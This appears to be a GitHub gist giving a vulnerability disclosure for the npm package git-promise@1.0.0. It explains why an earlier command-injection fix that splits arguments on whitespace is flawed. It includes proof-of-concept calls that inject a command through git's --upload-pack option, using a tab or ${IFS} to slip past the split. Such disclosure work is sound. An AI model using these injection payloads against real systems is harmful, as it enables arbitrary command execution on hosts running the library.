lirantal / git-promise-command-injection.md Secret

Last active 5 months ago

Star

Code Revisions 2 Stars 1

Command Injection vulnerability in git-promise@1.0.0

git-promise-command-injection.md

Command Injection vulnerability in git-promise@1.0.0

`git-promise` describes itself as a simple wrapper that allows you to run any git command using a more intuitive syntax.

Resources:

- Project's GitHub source code: https://github.com/piuccio/git-promise
- Project's npm package: https://snyk.io/vuln/npm%3Agit-promise

Background on exploitation

I'm reporting a Command Injection vulnerability in `git-promise` npm package.

The vector of attack in this vulnerability was found to be possible after investigating prior Remote Code Execution vulnerability as described here https://security.snyk.io/vuln/SNYK-JS-GITPROMISE-567476 and an inappropriate fix.

The fix to the prior command injection vulnerability was made with this pull request https://github.com/piuccio/git-promise/pull/8/files#diff-e727e4bdf3657fd1d798edcd6b099d6e092f8573cba266154583a746bba0f346L34-L49 in which we can see how the `index.js` file changes the old API of executing a process via `shell.exec()` which concatenates strings for one command, with a new API `execFile(execBinary, execArguments, execOptions)` which separates the git binary from user input passed to it in `execArguments`.

However, the logic applied in this pull request to separate command arguments uses the a "split by whitespace" way of doing so, as can be shown in this pull request's suggested changes here: https://github.com/piuccio/git-promise/pull/8/files#diff-e727e4bdf3657fd1d798edcd6b099d6e092f8573cba266154583a746bba0f346R31-R34

New exploit

Why is the previous fix flawed and where does the vulnerability come from?

Recent git-related CVEs have shown a vector of command injection via the `git fetch --upload-pack=touch /tmp/abc`. Let's see if this works:

```
const git = require("git-promise");
git("fetch origin --upload-pack=touch /tmp/abcd", {cwd: '/tmp/example-git-repo'}).th
```

If you run this program then the file `/tmp/abcd` isn't created because the whitespace separation logic puts "/tmp/abcd" from the above user input into its own command line argument, thus failing.

However, see the following 2 proofs-of-concept exploits that both bypass the space character split logic:

```
// POC1
const git = require("git-promise");
// Use tab instead of spaces to separate between the touch command and its argument
git("fetch origin --upload-pack=touch	/tmp/abcd", {cwd: '/tmp/example-git-repo'}).
```

```
// POC2
const git = require("git-promise");
```

```
// Use the shell's predefined separator using ${IFS} to escape the whitespace splitt
git("fetch origin --upload-pack=touch${IFS}/tmp/abcd-new", {cwd: '/tmp/example-git-r
```

Author

Liran Tal